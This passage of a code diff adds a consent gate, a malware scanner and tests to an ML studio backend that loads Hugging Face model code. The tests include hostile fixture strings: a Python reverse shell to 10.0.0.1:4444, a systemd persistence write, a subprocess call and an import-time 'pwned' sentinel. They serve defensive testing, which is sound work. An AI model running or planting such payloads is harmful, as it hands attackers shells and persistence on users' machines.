"Enable and continue", and + # requires_trust_remote_code forces the dialog open even with no custom code. + payload["approvable"] = False + payload["requires_trust_remote_code"] = True + payload["error_kind"] = "malware_blocked" + return payload + except Exception as e: + raise log_and_http_error( + e, + 500, + "Failed to scan model remote code", + event = "models.remote_code_scan_failed", + log = logger, + ) + + +@router.post("/discard-remote-code") +async def discard_remote_code_download( + model_name: str = Body(..., embed = True), current_subject: str = Depends(get_current_subject) +): + """Purge a repo the consent scan downloaded after the user DECLINED its custom + code, so untrusted code is not left on disk. + + Safety: only ever deletes a metadata-only cache entry the scan created. It + refuses a local path (never touches user files), a currently-loaded model, and + any repo that has weight files cached (``*.safetensors`` / ``*.bin`` / + ``*.gguf``) -- i.e. a model the user actually downloaded. The frontend only + calls this when the scan reported ``created_by_scan``. + """ + if is_local_path(model_name): + return {"deleted": False, "reason": "local"} + if not _is_valid_repo_id(model_name): + return {"deleted": False, "reason": "invalid"} + + # Never delete a model that is loaded for inference. + try: + from routes.inference import get_llama_cpp_backend + llama_backend = get_llama_cpp_backend() + if llama_backend.is_loaded and llama_backend.model_identifier: + loaded = llama_backend.model_identifier.lower() + if loaded == model_name.lower() or loaded.startswith(model_name.lower()): + return {"deleted": False, "reason": "loaded"} + except Exception: + pass + try: + inference_backend = get_inference_backend() + if inference_backend.active_model_name: + active = inference_backend.active_model_name.lower() + if active == model_name.lower() or active.startswith(model_name.lower()): + return {"deleted": False, "reason": "loaded"} + except Exception: + pass + + _WEIGHTS = ( + ".safetensors", + ".bin", + ".pt", + ".pth", + ".h5", + ".msgpack", + ".gguf", + ".onnx", + ".ckpt", + ) + try: + target_repo = None + hf_cache = None + for cache in _all_hf_cache_scans(): + for repo_info in cache.repos: + if repo_info.repo_type != "model": + continue + if repo_info.repo_id.lower() == model_name.lower(): + target_repo, hf_cache = repo_info, cache + break + if target_repo is not None: + break + + if target_repo is None: + return {"deleted": False, "reason": "not_cached"} + + # Hard guard: a repo with weights is a real model the user has -- leave it. + for rev in target_repo.revisions: + for f in rev.files: + if f.file_name.lower().endswith(_WEIGHTS): + return {"deleted": False, "reason": "has_weights"} + + revision_hashes = [rev.commit_hash for rev in target_repo.revisions] + if not revision_hashes: + return {"deleted": False, "reason": "not_cached"} + hf_cache.delete_revisions(*revision_hashes).execute() + logger.info("Discarded declined remote-code download: %s", model_name) + return {"deleted": True} + except Exception as e: + logger.warning("Could not discard remote-code download for %s: %s", model_name, e) + return {"deleted": False, "reason": "error"} + + @router.get("/loras") async def scan_loras( outputs_dir: str = Query( @@ -1990,7 +2185,11 @@ async def get_lora_base_model(lora_path: str, current_subject: str = Depends(get @router.get("/check-vision/{model_name:path}", response_model = VisionCheckResponse) -async def check_vision_model(model_name: str, current_subject: str = Depends(get_current_subject)): +async def check_vision_model( + model_name: str, + hf_token: Optional[str] = Query(None), + current_subject: str = Depends(get_current_subject), +): """ Check if a model is a vision model. @@ -1998,7 +2197,8 @@ async def check_vision_model(model_name: str, current_subject: str = Depends(get """ try: logger.info(f"Checking if vision model: {model_name}") - is_vision = is_vision_model(model_name) + # Authenticate so a gated/private VLM classifies correctly (else 404 -> non-vision). + is_vision = is_vision_model(model_name, hf_token = hf_token) logger.info(f"Vision check result for {model_name}: is_vision={is_vision}") return VisionCheckResponse( @@ -2348,6 +2548,51 @@ def _get_repo_size_cached(repo_id: str) -> int: return 0 +def _repo_in_any_hf_cache(model_name: str) -> bool: + """Whether ``model_name`` already exists in ANY HF cache the discard searches + (active, legacy, default). + + ``created_by_scan`` must be True only when the scan itself first pulled the repo; + checking just the active cache (``get_cache_path``) would mark a repo the user + already had in a legacy/default cache as scan-created, so declining the consent + would delete a model they did not download via the scan. Mirrors the cache set in + ``_all_hf_cache_scans`` but only probes for the one repo dir (cheap, no full scan). + """ + from utils.paths import ( + hf_default_cache_dir, + legacy_hf_cache_dir, + resolve_cached_repo_id_case, + ) + + dirname = f"models--{resolve_cached_repo_id_case(model_name).replace('/', '--')}" + dirname_lower = dirname.lower() + candidates = [] + try: + from huggingface_hub.constants import HF_HUB_CACHE + candidates.append(Path(HF_HUB_CACHE)) + except Exception: + pass + for fn in (legacy_hf_cache_dir, hf_default_cache_dir): + try: + candidates.append(fn()) + except Exception: + continue + # resolve_cached_repo_id_case only normalizes the ACTIVE cache, but discard deletes + # case-insensitively across all caches, so detect case-insensitively too -- else a + # pre-existing case-variant repo is misreported as scan-created and deleted on decline. + for cache in candidates: + try: + if (cache / dirname).exists(): + return True + if cache.is_dir(): + for entry in cache.iterdir(): + if entry.name.lower() == dirname_lower and entry.is_dir(): + return True + except Exception: + continue + return False + + def _all_hf_cache_scans(): """scan_cache_dir for the active, legacy, and default HF caches. diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index 09a3e06c91..5860b395d5 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -248,18 +248,30 @@ async def start_training( "output_dir": resume_output_dir, "resume_from_checkpoint": request.resume_from_checkpoint, "trust_remote_code": request.trust_remote_code, + "approved_remote_code_fingerprint": request.approved_remote_code_fingerprint, "gpu_ids": request.gpu_ids, "s3_config": request.s3_config.model_dump() if request.s3_config else None, } - # Training page has no trust_remote_code toggle; as a safety net consult - # YAML model defaults directly so models that need it always get it. + # Training page has no trust_remote_code toggle, so honor the YAML default + # -- but only for genuine first-party (unsloth/nvidia) Hub repos, never a + # local path or a name merely starting with "unsloth/". if not training_kwargs["trust_remote_code"]: + from utils.security.trusted_org import is_trusted_org_repo + model_defaults = load_model_defaults(request.model_name) yaml_trust = model_defaults.get("training", {}).get("trust_remote_code", False) - if yaml_trust: + if yaml_trust and is_trusted_org_repo( + request.model_name, hf_token = request.hf_token or None + ): logger.info(f"YAML config sets trust_remote_code=True for {request.model_name}") training_kwargs["trust_remote_code"] = True + elif yaml_trust: + logger.warning( + "YAML sets trust_remote_code=True for %s but it is not a trusted " + "first-party repo; leaving disabled (user can opt in explicitly).", + request.model_name, + ) # Free GPU memory: shut down any running inference/export subprocesses # before training (they'd compete for VRAM otherwise). diff --git a/studio/backend/tests/test_capability_detection.py b/studio/backend/tests/test_capability_detection.py new file mode 100644 index 0000000000..c8e1b63468 --- /dev/null +++ b/studio/backend/tests/test_capability_detection.py @@ -0,0 +1,361 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Component A tests: capability detection must never execute model repo code. + +Covers: load_model_config defaults trust_remote_code False; the _VISION_CHECK_SCRIPT +subprocess literal keeps remote code off; registry-backed vision/audio detection from +raw config.json (repo-code VLMs detected without execution; ForConditionalGeneration +false positives fixed); and the model-details / GPU probes never enable remote code. +""" + +import json +from types import SimpleNamespace +from unittest.mock import patch, MagicMock + +import pytest + +from utils.models.model_config import ( + load_model_config, + is_vision_model, + _is_vlm, + _raw_config_has_vision_config, + _vision_detection_cache, + _VISION_CHECK_SCRIPT, + _VLM_MODEL_TYPES, + _AUDIO_ONLY_MODEL_TYPES, + _VLM_CLASS_NAMES, +) + + +@pytest.fixture(autouse = True) +def _clear_vision_cache(): + _vision_detection_cache.clear() + yield + _vision_detection_cache.clear() + + +def _write_model_dir( + tmp_path, + cfg, + with_evil_module = False, +): + """Write a local model dir, optionally with an auto_map module that writes a sentinel + on import so accidental code execution during detection shows up on disk.""" + (tmp_path / "config.json").write_text(json.dumps(cfg)) + if with_evil_module: + sentinel = tmp_path / "PWNED_SENTINEL" + (tmp_path / "modeling_evil.py").write_text( + "import os\n" + f"open({str(sentinel)!r}, 'w').write('pwned')\n" + "class EvilConfig: pass\n" + "class EvilModel: pass\n" + ) + return str(tmp_path) + + +# load_model_config default +class TestLoadModelConfigDefault: + @patch("transformers.AutoConfig.from_pretrained") + def test_default_off_with_token(self, fp): + load_model_config("org/m", token = "hf_x") + assert fp.call_args.kwargs["trust_remote_code"] is False + + @patch("utils.models.model_config.without_hf_auth") + @patch("transformers.AutoConfig.from_pretrained") + def test_default_off_public(self, fp, no_auth): + from contextlib import nullcontext + + no_auth.return_value = nullcontext() + load_model_config("org/m", use_auth = False) + assert fp.call_args.kwargs["trust_remote_code"] is False + + @patch("transformers.AutoConfig.from_pretrained") + def test_default_off_cached_auth(self, fp): + load_model_config("org/m", use_auth = True) + assert fp.call_args.kwargs["trust_remote_code"] is False + + @patch("transformers.AutoConfig.from_pretrained") + def test_explicit_true_forwarded(self, fp): + load_model_config("org/m", token = "t", trust_remote_code = True) + assert fp.call_args.kwargs["trust_remote_code"] is True + + +# subprocess script literal +def test_vision_check_script_disables_remote_code(): + assert '"trust_remote_code": False' in _VISION_CHECK_SCRIPT + assert '"trust_remote_code": True' not in _VISION_CHECK_SCRIPT + + +# _is_vlm matrix (pure function, registry-backed) +def _cfg(**kw): + return SimpleNamespace(**kw) + + +class TestIsVlm: + def test_deepseek_ocr_vision_via_vision_config(self): + # auto_map repo-code model; vision-ness is declarative. + c = _cfg( + model_type = "deepseek_vl_v2", + architectures = ["DeepseekOCRForCausalLM"], + vision_config = {}, + projector_config = {}, + ) + assert _is_vlm(c) is True + + def test_kimi_vision_via_vision_config(self): + c = _cfg( + model_type = "kimi_k25", + architectures = ["KimiK25ForConditionalGeneration"], + vision_config = {}, + ) + assert _is_vlm(c) is True + + def test_glm_flash_text_is_not_vision(self): + c = _cfg(model_type = "glm4_moe_lite", architectures = ["Glm4MoeLiteForCausalLM"]) + assert _is_vlm(c) is False + + def test_gemma4_vision_via_vision_config(self): + c = _cfg( + model_type = "gemma4_unified", + architectures = ["Gemma4UnifiedForConditionalGeneration"], + vision_config = {}, + image_token_id = 1, + ) + assert _is_vlm(c) is True + + def test_t5_not_misclassified_as_vision(self): + # Regression: ForConditionalGeneration must NOT be a vision signal. + c = _cfg(model_type = "t5", architectures = ["T5ForConditionalGeneration"]) + assert _is_vlm(c) is False + + def test_bart_not_misclassified_as_vision(self): + c = _cfg(model_type = "bart", architectures = ["BartForConditionalGeneration"]) + assert _is_vlm(c) is False + + def test_whisper_audio_not_vision(self): + c = _cfg(model_type = "whisper", architectures = ["WhisperForConditionalGeneration"]) + assert _is_vlm(c) is False + + def test_csm_audio_not_vision(self): + c = _cfg(model_type = "csm", architectures = ["CsmForConditionalGeneration"]) + assert _is_vlm(c) is False + + def test_native_vlm_via_registry_model_type(self): + # llava is in the transformers vision registry. + assert "llava" in _VLM_MODEL_TYPES + c = _cfg(model_type = "llava", architectures = ["LlavaForConditionalGeneration"]) + assert _is_vlm(c) is True + + def test_native_vlm_via_registry_class_name(self): + # Class-name match works even if model_type were unknown. + cls = next(iter(_VLM_CLASS_NAMES)) + c = _cfg(model_type = "something_unlisted", architectures = [cls]) + assert _is_vlm(c) is True + + def test_omni_audio_plus_vision_is_vision(self): + # An audio-registry model_type with an explicit vision sub-config is still vision. + audio_mt = next(iter(_AUDIO_ONLY_MODEL_TYPES - _VLM_MODEL_TYPES)) + c = _cfg(model_type = audio_mt, architectures = ["X"], vision_config = {}) + assert _is_vlm(c) is True + + +# _raw_config_has_vision_config (code-free reader, mocked HF download) +def _mock_raw_config(tmp_path, payload): + p = tmp_path / "config.json" + p.write_text(json.dumps(payload)) + return p + + +class TestRawConfigVisionReader: + @pytest.mark.parametrize( + "payload,expected", + [ + ( + { + "model_type": "deepseek_vl_v2", + "architectures": ["DeepseekOCRForCausalLM"], + "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"}, + "vision_config": {}, + "projector_config": {}, + }, + True, + ), + ( + { + "model_type": "kimi_k25", + "architectures": ["KimiK25ForConditionalGeneration"], + "auto_map": {"AutoConfig": "configuration_kimi_k25.KimiK25Config"}, + "vision_config": {}, + }, + True, + ), + ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False), + ( + { + "model_type": "gemma4_unified", + "architectures": ["Gemma4UnifiedForConditionalGeneration"], + "vision_config": {}, + }, + True, + ), + ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False), + ( + {"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}, + False, + ), + ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False), + ], + ) + def test_reader(self, tmp_path, payload, expected): + cfg_path = _mock_raw_config(tmp_path, payload) + with ( + patch("utils.models.model_config.is_local_path", return_value = False), + patch("huggingface_hub.hf_hub_download", return_value = str(cfg_path)), + ): + assert _raw_config_has_vision_config("org/model") is expected + + def test_reader_never_executes_remote_code(self, tmp_path): + # Even with auto_map present, the reader only parses JSON: no AutoConfig touched. + cfg_path = _mock_raw_config( + tmp_path, + { + "model_type": "deepseek_vl_v2", + "architectures": ["DeepseekOCRForCausalLM"], + "auto_map": {"AutoConfig": "modeling_deepseekocr.DeepseekOCRConfig"}, + "vision_config": {}, + }, + ) + with ( + patch("utils.models.model_config.is_local_path", return_value = False), + patch("huggingface_hub.hf_hub_download", return_value = str(cfg_path)), + patch( + "transformers.AutoConfig.from_pretrained", + side_effect = AssertionError("AutoConfig must not be called"), + ), + ): + assert _raw_config_has_vision_config("org/deepseek-ocr") is True + + +# Probes: model-details + GPU estimate never execute remote code +def test_gpu_estimate_probe_is_code_free(): + from utils.hardware import hardware + + cfg = { + "model_type": "glm4_moe_lite", + "hidden_size": 4096, + "num_hidden_layers": 40, + "max_position_embeddings": 8192, + } + with ( + patch("utils.transformers_version._load_config_json", return_value = cfg), + patch( + "transformers.AutoConfig.from_pretrained", + side_effect = AssertionError("AutoConfig must not be called"), + ), + ): + out = hardware._load_config_for_gpu_estimate("unsloth/GLM-4.7-Flash") + assert out.max_position_embeddings == 8192 + assert out.hidden_size == 4096 + + +def test_models_route_source_has_no_remote_code_probe(): + # The metadata probe must never build a trust_remote_code=True loader; referencing + # the static consent scanner or the requires_trust_remote_code flag is fine. + import inspect + import routes.models as models_route + + src = inspect.getsource(models_route) + assert "trust_remote_code = True" not in src + assert "trust_remote_code=True" not in src + + +# Adversarial end-to-end: is_vision_model + the two metadata probes never run auto_map. +def test_no_code_execution_on_detection(tmp_path): + # A malicious local auto_map -> modeling_evil must not execute through any probe. + cfg = { + "model_type": "deepseek_vl_v2", + "architectures": ["DeepseekOCRForCausalLM"], + "auto_map": { + "AutoConfig": "modeling_evil.EvilConfig", + "AutoModel": "modeling_evil.EvilModel", + }, + "vision_config": {"image_size": 1024}, + "max_position_embeddings": 4096, + } + path = _write_model_dir(tmp_path, cfg, with_evil_module = True) + sentinel = tmp_path / "PWNED_SENTINEL" + + from utils.hardware.hardware import _load_config_for_gpu_estimate + from utils.transformers_version import _load_config_json + + result = is_vision_model(path) + ns = _load_config_for_gpu_estimate(path) + raw = _load_config_json(path) + + assert not sentinel.exists(), "SECURITY FAILURE: auto_map code executed during detection" + assert result is True # detected as vision via raw vision_config, no exec + assert ns is not None and getattr(ns, "max_position_embeddings", None) == 4096 + assert raw is not None and raw.get("model_type") == "deepseek_vl_v2" + + +@pytest.mark.parametrize( + "cfg, expected", + [ + # repo-code VLMs (auto_map) detected via declarative vision_config + ( + { + "model_type": "deepseek_vl_v2", + "architectures": ["DeepseekOCRForCausalLM"], + "auto_map": {"AutoConfig": "x.Y"}, + "vision_config": {}, + }, + True, + ), + ( + { + "model_type": "kimi_k25", + "architectures": ["KimiK25ForConditionalGeneration"], + "auto_map": {"AutoConfig": "x.Y"}, + "vision_config": {}, + }, + True, + ), + # newer-native vision via vision_config + ( + { + "model_type": "gemma4_unified", + "architectures": ["Gemma4UnifiedForConditionalGeneration"], + "vision_config": {}, + "image_token_id": 7, + }, + True, + ), + # text / seq2seq / audio that share the ForConditionalGeneration suffix + ({"model_type": "glm4_moe_lite", "architectures": ["Glm4MoeLiteForCausalLM"]}, False), + ({"model_type": "t5", "architectures": ["T5ForConditionalGeneration"]}, False), + ({"model_type": "bart", "architectures": ["BartForConditionalGeneration"]}, False), + ({"model_type": "whisper", "architectures": ["WhisperForConditionalGeneration"]}, False), + ({"model_type": "csm", "architectures": ["CsmForConditionalGeneration"]}, False), + # registry-native VLMs via model_type + ({"model_type": "qwen2_vl", "architectures": ["Qwen2VLForConditionalGeneration"]}, True), + ({"model_type": "llava", "architectures": ["LlavaForConditionalGeneration"]}, True), + ], +) +def test_is_vision_model_end_to_end(tmp_path, cfg, expected): + path = _write_model_dir(tmp_path, cfg) + assert is_vision_model(path) is expected, f"{cfg['model_type']} expected vision={expected}" + + +def test_registry_derivation(): + # Registry-derived sets are large and include the curated repo-code VLMs. + assert len(_VLM_MODEL_TYPES) >= 50, f"_VLM_MODEL_TYPES too small: {len(_VLM_MODEL_TYPES)}" + assert ( + len(_AUDIO_ONLY_MODEL_TYPES) >= 20 + ), f"_AUDIO_ONLY too small: {len(_AUDIO_ONLY_MODEL_TYPES)}" + for repo_vlm in ("deepseek_vl_v2", "kimi_k25", "phi3_v", "cogvlm2", "minicpmv"): + assert repo_vlm in _VLM_MODEL_TYPES, f"curated repo-code VLM {repo_vlm} missing" + for native in ("llava", "qwen2_vl"): + assert native in _VLM_MODEL_TYPES, f"registry-native VLM {native} missing" + for audio in ("whisper", "csm"): + assert audio in _AUDIO_ONLY_MODEL_TYPES, f"audio type {audio} missing" diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py new file mode 100644 index 0000000000..67b44ede89 --- /dev/null +++ b/studio/backend/tests/test_consent_gate.py @@ -0,0 +1,1414 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for the trust_remote_code consent gate. + +The gate scans a repo's auto_map Python before a trust_remote_code=True load and +refuses CRITICAL/HIGH code unless the user pinned this exact version. The scanner +and fingerprint run for real; only the config/file fetch is stubbed. +""" + +import os +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import MagicMock, patch + +import pytest + +import utils.security.consent as consent +from utils.security import ( + RemoteCodeDecision, + evaluate_remote_code_consent, + evaluate_remote_code_consent_for_targets, + is_trusted_org_repo, + remote_code_fingerprint, + scan_remote_code_files, + should_block_remote_code, +) +from huggingface_hub.utils import EntryNotFoundError + +from utils.security.remote_code_scan import ( + CRITICAL, + HIGH, + REMOTE_CODE_CONFIG_FILES, + RemoteCodeUnscannable, + repo_remote_code_files, +) +from utils.security.trusted_org import clear_cache + +_BACKEND = Path(__file__).resolve().parent.parent + + +@pytest.fixture(autouse = True) +def _clean_trusted_org_cache(monkeypatch): + """Clear the trusted-org cache and force online mode for the Hub-verify path.""" + clear_cache() + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False) + yield + clear_cache() + + +# HIGH severity (persistence install): approvable, blocks untrusted repos. +_HIGH = { + "modeling_persist.py": ( + "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n" + ) +} +# CRITICAL severity (reverse shell) - blocks even a first-party repo. +_CRITICAL = { + "modeling_backdoor.py": ( + "import socket, subprocess, os\n" + "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n" + "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n" + ) +} +_BENIGN = { + "modeling_ok.py": ( + "import torch\n" + "class MyModel(torch.nn.Module):\n" + " def forward(self, x):\n" + " return x + 1\n" + ) +} + + +def _with_auto_map(files): + """Patch the gate so auto_map is present and the given files are returned.""" + return ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", return_value = files), + ) + + +class TestConsentGate: + def test_disabled_is_a_noop(self): + d = evaluate_remote_code_consent("unsloth/X", trust_remote_code = False) + assert isinstance(d, RemoteCodeDecision) + assert d.has_remote_code is False and d.blocked is False + + def test_no_auto_map_is_noop(self): + with patch.object(consent, "_config_has_auto_map", return_value = False): + d = evaluate_remote_code_consent("unsloth/Plain", trust_remote_code = True) + assert d.has_remote_code is False + assert d.blocked is False + assert "no-op" in d.reason + + def test_unknown_auto_map_is_scanned_not_skipped(self): + # Unreadable config (private/gated/offline) is "unknown", not "no code": scan, not no-op. + with ( + patch.object(consent, "_config_has_auto_map", return_value = None), + patch.object(consent, "repo_remote_code_files", return_value = _HIGH), + ): + d = evaluate_remote_code_consent( + "private/evil", trust_remote_code = True, trusted_org = False + ) + assert d.has_remote_code is True + assert d.blocked is True + assert "no-op" not in d.reason + + def test_benign_remote_code_allowed(self): + a, b = _with_auto_map(_BENIGN) + with a, b: + d = evaluate_remote_code_consent("unsloth/Good", trust_remote_code = True) + assert d.has_remote_code is True + assert d.blocked is False + assert d.fingerprint # still fingerprinted for pinning + + def test_high_third_party_blocked(self): + # HIGH from an untrusted repo: blocked but user-approvable (not CRITICAL). + a, b = _with_auto_map(_HIGH) + with a, b: + d = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + assert d.has_remote_code is True + assert d.blocked is True + assert d.approvable is True + assert d.max_severity == "HIGH" + assert d.fingerprint + # response payload is frontend-ready, with STRUCTURED findings. + p = d.response_payload() + assert p["error_kind"] == "remote_code_consent_required" + assert p["approvable"] is True + assert p["fingerprint"] == d.fingerprint + assert isinstance(p["findings"], list) and p["findings"] + f0 = p["findings"][0] + assert {"severity", "file", "check"} <= set(f0) + + def test_high_first_party_requires_approval(self): + # First-party is no longer a blanket bypass: HIGH code from a first-party repo + # requires per-version approval like any other (approvable, unlike CRITICAL). + # Real first-party models scan clean; this uses a synthetic HIGH payload. + a, b = _with_auto_map(_HIGH) + with a, b: + d = evaluate_remote_code_consent( + "unsloth/DeepSeek-OCR", trust_remote_code = True, trusted_org = True + ) + assert d.has_remote_code is True + assert d.blocked is True + assert d.approvable is True + assert d.max_severity == "HIGH" + assert d.fingerprint + assert "approval required" in d.reason + + def test_bare_subprocess_blocked_third_party(self): + # A bare subprocess.Popen in a config __init__: model code must never shell out, so block. + files = { + "configuration.py": ( + "import subprocess\n" + "class RemoteConfig:\n" + " def __init__(self):\n" + " subprocess.Popen(['xcalc'])\n" + ) + } + a, b = _with_auto_map(files) + with a, b: + d = evaluate_remote_code_consent( + "third-party/custom-model", trust_remote_code = True, trusted_org = False + ) + assert d.blocked is True + assert d.max_severity == "HIGH" + assert "subprocess" in d.findings_summary.lower() + + def test_critical_blocked_even_first_party(self): + # CRITICAL (reverse shell) blocks even a trusted first-party repo; not approvable. + a, b = _with_auto_map(_CRITICAL) + with a, b: + d = evaluate_remote_code_consent( + "unsloth/Compromised", trust_remote_code = True, trusted_org = True + ) + assert d.blocked is True + assert d.approvable is False + assert d.max_severity == "CRITICAL" + p = d.response_payload() + assert p["error_kind"] == "remote_code_blocked" + assert p["approvable"] is False + + def test_approved_fingerprint_unblocks(self): + # HIGH (approvable) third-party code: a matching fingerprint unblocks. + a, b = _with_auto_map(_HIGH) + with a, b: + d1 = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + d2 = evaluate_remote_code_consent( + "evil/Model", + trust_remote_code = True, + trusted_org = False, + approved_fingerprint = d1.fingerprint, + ) + assert d1.blocked is True + assert d2.blocked is False + assert d2.reason == "approved by fingerprint" + + def test_approved_fingerprint_does_not_unblock_critical(self): + # CRITICAL is a hard block: a matching fingerprint must never override it. + a, b = _with_auto_map(_CRITICAL) + with a, b: + d1 = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + d2 = evaluate_remote_code_consent( + "evil/Model", + trust_remote_code = True, + trusted_org = False, + approved_fingerprint = d1.fingerprint, + ) + assert d1.blocked is True and d1.approvable is False + assert d2.blocked is True and d2.approvable is False + assert d2.reason == "blocked: scan found CRITICAL patterns" + + def test_wrong_fingerprint_still_blocked(self): + a, b = _with_auto_map(_HIGH) + with a, b: + d = evaluate_remote_code_consent( + "evil/Model", + trust_remote_code = True, + trusted_org = False, + approved_fingerprint = "deadbeef", + ) + assert d.blocked is True + + def test_combined_targets_one_fingerprint_approves_adapter_and_base(self): + # A LoRA adapter and base that both ship auto_map code are scanned as one unit and + # pinned by a single fingerprint over the union, so one approval unblocks the load. + adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"} + base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"} + + def _files(name, hf_token = None): + return adapter_files if name == "org/adapter" else base_files + + targets = ["org/adapter", "org/base"] + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", side_effect = _files), + ): + d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True) + d2 = evaluate_remote_code_consent_for_targets( + targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint + ) + base_only = evaluate_remote_code_consent_for_targets( + ["org/base"], trust_remote_code = True + ) + assert d1.blocked is True + assert d1.max_severity == "HIGH" + # The single combined fingerprint approves the whole load (adapter + base). + assert d2.blocked is False + assert d2.reason == "approved by fingerprint" + # A fingerprint over the base alone must not match (no silent approval of adapter code). + assert base_only.fingerprint != d1.fingerprint + + def test_fingerprint_is_casing_invariant_for_hub_repos(self): + # The scan endpoint canonicalizes casing but workers pass raw input. The fingerprint + # pins code bytes, not the repo-id spelling, so casing must not change it (else the + # worker rejects the scan's approval as a mismatch). + a, b = _with_auto_map(_HIGH) + with a, b: + d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True) + d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True) + assert d1.fingerprint == d2.fingerprint + # An approval pinned from one casing unblocks the load under another casing. + a, b = _with_auto_map(_HIGH) + with a, b: + d3 = evaluate_remote_code_consent_for_targets( + ["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint + ) + assert d3.blocked is False + assert d3.reason == "approved by fingerprint" + + def test_fingerprint_target_key_keeps_local_path_casing(self): + from utils.security.consent import _fingerprint_target_key + + # A local path is case-sensitive (case-sensitive filesystems); never folded. + with patch("utils.paths.is_local_path", return_value = True): + assert _fingerprint_target_key("/Models/Foo") == "/Models/Foo" + # A Hub repo id is case-insensitive; folded so the pin is casing-robust. + with patch("utils.paths.is_local_path", return_value = False): + assert _fingerprint_target_key("Org/Model") == "org/model" + + def test_unscannable_target_fails_closed_for_whole_load(self): + # If ANY target is present-but-unscannable, the whole load fails closed (non-approvable). + def _raise_for_base(name, hf_token = None): + if name == "org/base": + raise RemoteCodeUnscannable("gated") + return {"modeling_adapter.py": "import torch\n"} + + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base), + ): + d = evaluate_remote_code_consent_for_targets( + ["org/adapter", "org/base"], trust_remote_code = True + ) + assert d.blocked is True + assert d.approvable is False + + def test_medium_severity_blocks_pending_approval(self): + # A MEDIUM finding is approvable but blocks until the fingerprint is pinned, so + # trust_remote_code=True alone cannot run flagged code; a match then unblocks. + # MEDIUM is rarely emitted, so the scan result is mocked to exercise the policy. + from utils.security.remote_code_scan import MEDIUM + + class _MediumResult: + max_severity = MEDIUM + + def summary(self): + return "MEDIUM: large-base64-blob" + + def findings_payload(self): + return [{"severity": "MEDIUM", "file": "modeling.py", "check": "large-base64-blob"}] + + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}), + patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()), + ): + d1 = evaluate_remote_code_consent( + "third/medium", trust_remote_code = True, trusted_org = False + ) + d2 = evaluate_remote_code_consent( + "third/medium", + trust_remote_code = True, + trusted_org = False, + approved_fingerprint = d1.fingerprint, + ) + assert d1.blocked is True + assert d1.approvable is True + assert d1.max_severity == "MEDIUM" + assert d1.fingerprint + assert "MEDIUM" in d1.reason + assert d2.blocked is False + assert d2.reason == "approved by fingerprint" + + def test_fingerprint_changes_when_code_changes(self): + ((fn, body),) = _HIGH.items() + a1, b1 = _with_auto_map(_HIGH) + with a1, b1: + d1 = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + tampered = {fn: body + "\n# changed\n"} + a2, b2 = _with_auto_map(tampered) + with a2, b2: + d2 = evaluate_remote_code_consent( + "evil/Model", trust_remote_code = True, trusted_org = False + ) + assert d1.fingerprint != d2.fingerprint # pinned approval would re-prompt + + def test_unscannable_auto_map_blocked_fail_closed(self): + # Code is shipped but could not be fetched/listed (gated/offline/transient): + # repo_remote_code_files raises RemoteCodeUnscannable. Code we cannot see cannot + # be verified or fingerprinted, so fail closed (hard, non-approvable block). + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object( + consent, + "repo_remote_code_files", + side_effect = RemoteCodeUnscannable("gated"), + ), + ): + d = evaluate_remote_code_consent("unsloth/Gated", trust_remote_code = True) + assert d.has_remote_code is True + assert d.blocked is True + assert d.approvable is False + assert "could not be scanned" in d.reason + + def test_auto_map_with_no_executable_code_is_a_noop(self): + # auto_map declared but the repo ships no executable .py (listing succeeded, + # returns {}) -- e.g. a GGUF repo with a vestigial auto_map. Nothing to run, so + # trust_remote_code is a no-op and the load is allowed, not blocked. + with ( + patch.object(consent, "_config_has_auto_map", return_value = True), + patch.object(consent, "repo_remote_code_files", return_value = {}), + ): + d = evaluate_remote_code_consent( + "unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF", trust_remote_code = True + ) + assert d.blocked is False + assert d.has_remote_code is False + assert "no-op" in d.reason + + +class TestWorkersWireTheGate: + """Each load worker must call the gate and emit a remote_code_blocked error.""" + + @pytest.mark.parametrize( + "rel", + [ + "core/training/worker.py", + "core/inference/worker.py", + "core/export/worker.py", + ], + ) + def test_worker_invokes_gate(self, rel): + src = (Path(__file__).resolve().parent.parent / rel).read_text() + assert "evaluate_remote_code_consent" in src + assert 